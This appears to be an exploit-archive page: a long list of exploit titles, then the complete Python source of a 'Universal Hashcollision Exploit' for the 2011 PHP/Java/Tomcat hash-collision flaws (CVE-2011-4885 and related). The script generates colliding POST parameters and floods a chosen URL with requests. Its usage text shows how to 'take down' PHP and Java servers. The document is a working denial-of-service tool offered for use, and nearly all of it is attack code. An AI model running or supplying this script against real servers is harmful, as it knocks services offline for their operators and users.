
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
359 lines
No EOL
13 KiB
Python
Executable file
359 lines
No EOL
13 KiB
Python
Executable file
#!/usr/bin/env python
|
|
|
|
"""
|
|
This script was written by Christian Mehlmauer <FireFart@gmail.com>
|
|
https://twitter.com/#!/_FireFart_
|
|
|
|
Sourcecode online at:
|
|
https://github.com/FireFart/HashCollision-DOS-POC
|
|
|
|
Original PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
|
|
|
|
http://www.ocert.org/advisories/ocert-2011-003.html
|
|
CVE:
|
|
Apache Geronimo: CVE-2011-5034
|
|
Oracle Glassfish: CVE-2011-5035
|
|
PHP: CVE-2011-4885
|
|
Apache Tomcat: CVE-2011-4858
|
|
|
|
requires Python 2.7
|
|
|
|
Examples:
|
|
-) Make a single Request, wait for the response and save the response to output0.html
|
|
python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output -t PHP
|
|
|
|
-) Take down a PHP server(make 500 requests without waiting for a response):
|
|
python HashtablePOC.py -u https://host/index.php -v -c 500 -t PHP
|
|
|
|
-) Take down a JAVA server(make 500 requests without waiting for a response, maximum POST data size 2MB):
|
|
python HashtablePOC.py -u https://host/index.jsp -v -c 500 -t JAVA -m 2
|
|
|
|
Changelog:
|
|
v6.0: Added Javapayloadgenerator
|
|
v5.0: Define max payload size as parameter
|
|
v4.0: Get PHP Collision Chars on the fly
|
|
v3.0: Load Payload from file
|
|
v2.0: Added Support for https, switched to HTTP 1.1
|
|
v1.0: Initial Release
|
|
"""
|
|
|
|
import socket
|
|
import sys
|
|
import math
|
|
import urllib
|
|
import string
|
|
import time
|
|
import urlparse
|
|
import argparse
|
|
import ssl
|
|
import random
|
|
import itertools
|
|
|
|
class Payloadgenerator:
|
|
# Maximum recursions when searching for collisionchars
|
|
_recursivemax = 15
|
|
_recursivecounter = 1
|
|
|
|
def __init__(self, verbose, collisionchars = 5, collisioncharlength = 2, payloadlength = 8):
|
|
self._verbose = verbose
|
|
self._collisionchars = collisionchars
|
|
self._collisioncharlength = collisioncharlength
|
|
self._payloadlength = payloadlength
|
|
|
|
def generateASPPayload(self):
|
|
raise Exception("ASP Payload not implemented")
|
|
|
|
def generateJAVAPayload(self):
|
|
a = self._computeJAVACollisionChars(self._collisionchars)
|
|
return self._generatePayload(a, self._payloadlength)
|
|
|
|
def generatePHPPayload(self):
|
|
# Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)
|
|
# compute entries with collisions in PHP hashtable hash function
|
|
a = self._computePHPCollisionChars(self._collisionchars)
|
|
return self._generatePayload(a, self._payloadlength);
|
|
|
|
def _computePHPCollisionChars(self, count):
|
|
charrange = range(0, 256)
|
|
return self._computeCollisionChars(self._DJBX33A, count, charrange)
|
|
|
|
def _computeJAVACollisionChars(self, count):
|
|
charrange = range(0, 129)
|
|
return self._computeCollisionChars(self._DJBX31A, count, charrange)
|
|
|
|
def _computeCollisionChars(self, function, count, charrange):
|
|
hashes = {}
|
|
counter = 0
|
|
length = self._collisioncharlength
|
|
a = ""
|
|
for i in charrange:
|
|
a = a+chr(i)
|
|
source = list(itertools.product(a, repeat=length))
|
|
basestr = ''.join(random.choice(source))
|
|
basehash = function(basestr)
|
|
hashes[str(counter)] = basestr
|
|
counter = counter + 1
|
|
for item in source:
|
|
tempstr = ''.join(item)
|
|
if tempstr == basestr:
|
|
continue
|
|
if function(tempstr) == basehash:
|
|
hashes[str(counter)] = tempstr
|
|
counter = counter + 1
|
|
if counter >= count:
|
|
break;
|
|
if counter < count:
|
|
# Try it again
|
|
if self._recursivecounter > self._recursivemax:
|
|
print("Not enought values found. Please start this script again")
|
|
sys.exit(1)
|
|
print("%d: Not enough values found. Trying it again..." % self._recursivecounter)
|
|
self._recursivecounter = self._recursivecounter + 1
|
|
hashes = self._computeCollisionChars(function, count, charrange)
|
|
else:
|
|
if self._verbose:
|
|
print("Found values:")
|
|
for item in hashes:
|
|
tempstr = hashes[item]
|
|
print("\tValue: %s\tHash: %s" % (tempstr, function(tempstr)))
|
|
for i in tempstr:
|
|
print("\t\tValue: %s\tCharcode: %d" % (i, ord(i)))
|
|
return hashes
|
|
|
|
def _DJBXA(self, inputstring, base, start):
|
|
counter = len(inputstring) - 1
|
|
result = start
|
|
for item in inputstring:
|
|
result = result + (math.pow(base, counter) * ord(item))
|
|
counter = counter - 1
|
|
return int(round(result))
|
|
|
|
#PHP
|
|
def _DJBX33A(self, inputstring):
|
|
return self._DJBXA(inputstring, 33, 5381)
|
|
|
|
#Java
|
|
def _DJBX31A(self, inputstring):
|
|
return self._DJBXA(inputstring, 31, 0)
|
|
|
|
#ASP
|
|
def _DJBX33X(self, inputstring):
|
|
counter = len(inputstring) - 1
|
|
result = 5381
|
|
for item in inputstring:
|
|
result = result + (int(round(math.pow(33, counter))) ^ ord(item))
|
|
counter = counter - 1
|
|
return int(round(result))
|
|
|
|
def _generatePayload(self, collisionchars, payloadlength):
|
|
# Taken from:
|
|
# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
|
|
|
|
# how long should the payload be
|
|
length = payloadlength
|
|
size = len(collisionchars)
|
|
post = ""
|
|
maxvaluefloat = math.pow(size,length)
|
|
maxvalueint = int(math.floor(maxvaluefloat))
|
|
for i in range (maxvalueint):
|
|
inputstring = self._base_convert(i, size)
|
|
result = inputstring.rjust(length, "0")
|
|
for item in collisionchars:
|
|
result = result.replace(str(item), collisionchars[item])
|
|
post += urllib.urlencode({result:""}) + "&"
|
|
|
|
return post;
|
|
|
|
def _base_convert(self, num, base):
|
|
fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
|
alphabet = fullalphabet[:base]
|
|
if (num == 0):
|
|
return alphabet[0]
|
|
arr = []
|
|
base = len(alphabet)
|
|
while num:
|
|
rem = num % base
|
|
num = num // base
|
|
arr.append(alphabet[rem])
|
|
arr.reverse()
|
|
return "".join(arr)
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Take down a remote Host via Hashcollisions", prog="Universal Hashcollision Exploit")
|
|
parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
|
|
parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response")
|
|
parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests")
|
|
parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output")
|
|
parser.add_argument("-s", "--save", dest="save", help="Save payload to file")
|
|
parser.add_argument("-p", "--payload", dest="payload", help="Save payload to file")
|
|
parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w")
|
|
parser.add_argument("-t", "--target", dest="target", help="Target of the attack", choices=["ASP", "PHP", "JAVA"], required=True)
|
|
parser.add_argument("-m", "--max-payload-size", dest="maxpayloadsize", help="Maximum size of the Payload in Megabyte. PHPs defaultconfiguration does not allow more than 8MB, Tomcat is 2MB", type=int)
|
|
parser.add_argument("-g", "--generate", dest="generate", help="Only generate Payload and exit", default=False, action="store_true")
|
|
parser.add_argument("--version", action="version", version="%(prog)s 6.0")
|
|
|
|
options = parser.parse_args()
|
|
|
|
if options.target == "PHP":
|
|
if not options.maxpayloadsize or options.maxpayloadsize == 0:
|
|
maxpayloadsize = 8
|
|
else:
|
|
maxpayloadsize = options.maxpayloadsize
|
|
elif options.target == "ASP":
|
|
if not options.maxpayloadsize or options.maxpayloadsize == 0:
|
|
maxpayloadsize = 8
|
|
else:
|
|
maxpayloadsize = options.maxpayloadsize
|
|
elif options.target == "JAVA":
|
|
if not options.maxpayloadsize or options.maxpayloadsize == 0:
|
|
maxpayloadsize = 2
|
|
else:
|
|
maxpayloadsize = options.maxpayloadsize
|
|
else:
|
|
print("Target %s not yet implemented" % options.target)
|
|
sys.exit(1)
|
|
|
|
url = urlparse.urlparse(options.url)
|
|
|
|
if not url.scheme:
|
|
print("Please provide a scheme to the URL(http://, https://,..")
|
|
sys.exit(1)
|
|
|
|
host = url.hostname
|
|
path = url.path
|
|
port = url.port
|
|
if not port:
|
|
if url.scheme == "https":
|
|
port = 443
|
|
elif url.scheme == "http":
|
|
port = 80
|
|
else:
|
|
print("Unsupported Protocol %s" % url.scheme)
|
|
sys.exit(1)
|
|
if not path:
|
|
path = "/"
|
|
|
|
if not options.payload:
|
|
print("Generating Payload...")
|
|
|
|
# Number of colliding chars to find
|
|
collisionchars = 5
|
|
# Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)
|
|
collisioncharlength = 2
|
|
# Length of each parameter in the payload
|
|
payloadlength = 8
|
|
generator = Payloadgenerator(options.verbose, collisionchars, collisioncharlength, payloadlength)
|
|
if options.target == "PHP":
|
|
payload = generator.generatePHPPayload()
|
|
elif options.target == "ASP":
|
|
#payload = generateASPPayload()
|
|
print("Target %s not yet implemented" % options.target)
|
|
sys.exit(1)
|
|
elif options.target == "JAVA":
|
|
payload = generator.generateJAVAPayload()
|
|
else:
|
|
print("Target %s not yet implemented" % options.target)
|
|
sys.exit(1)
|
|
|
|
print("Payload generated")
|
|
else:
|
|
f = open(options.payload, "r")
|
|
payload = f.read()
|
|
f.close()
|
|
print("Loaded Payload from %s" % options.payload)
|
|
|
|
# trim to maximum payload size (in MB)
|
|
maxinmb = maxpayloadsize*1024*1024
|
|
payload = payload[:maxinmb]
|
|
# remove last invalid(cut off) parameter
|
|
position = payload.rfind("=&")
|
|
payload = payload[:position+1]
|
|
|
|
# Save payload
|
|
if options.save:
|
|
f = open(options.save, "w")
|
|
f.write(payload)
|
|
f.close()
|
|
print("Payload saved to %s" % options.save)
|
|
|
|
# User selected to only generate the payload
|
|
if options.generate:
|
|
return
|
|
|
|
print("Host: %s" % host)
|
|
print("Port: %s" % str(port))
|
|
print("path: %s" % path)
|
|
print
|
|
print
|
|
|
|
for i in range(options.count):
|
|
print("sending Request #%s..." % str(i+1))
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
if url.scheme == "https":
|
|
ssl_sock = ssl.wrap_socket(sock)
|
|
ssl_sock.connect((host, port))
|
|
ssl_sock.settimeout(None)
|
|
else:
|
|
sock.connect((host, port))
|
|
sock.settimeout(None)
|
|
|
|
request = "POST %s HTTP/1.1\r\n\
|
|
Host: %s\r\n\
|
|
Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n\
|
|
Connection: Close\r\n\
|
|
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)\r\n\
|
|
Content-Length: %s\r\n\
|
|
\r\n\
|
|
%s\r\n\
|
|
\r\n" % (path, host, str(len(payload)), payload)
|
|
|
|
if url.scheme == "https":
|
|
ssl_sock.send(request)
|
|
else:
|
|
sock.send(request)
|
|
|
|
if options.verbose:
|
|
if len(request) > 400:
|
|
print(request[:400]+"....")
|
|
else:
|
|
print(request)
|
|
print("")
|
|
if options.wait or options.output:
|
|
start = time.time()
|
|
if url.scheme == "https":
|
|
data = ssl_sock.recv(1024)
|
|
string = ""
|
|
while len(data):
|
|
string = string + data
|
|
data = ssl_sock.recv(1024)
|
|
else:
|
|
data = sock.recv(1024)
|
|
string = ""
|
|
while len(data):
|
|
string = string + data
|
|
data = sock.recv(1024)
|
|
|
|
elapsed = (time.time() - start)
|
|
print("Request %s finished" % str(i+1))
|
|
print("Request %s duration: %s" % (str(i+1), elapsed))
|
|
split = string.partition("\r\n\r\n")
|
|
header = split[0]
|
|
content = split[2]
|
|
if options.verbose:
|
|
# only print http header
|
|
print("")
|
|
print(header)
|
|
print("")
|
|
if options.output:
|
|
f = open(options.output+str(i)+".html", "w")
|
|
f.write("<!-- "+header+" -->\r\n"+content)
|
|
f.close()
|
|
|
|
if url.scheme == "https":
|
|
ssl_sock.close()
|
|
sock.close()
|
|
else:
|
|
sock.close()
|
|
|
|
if __name__ == "__main__":
|
|
main() |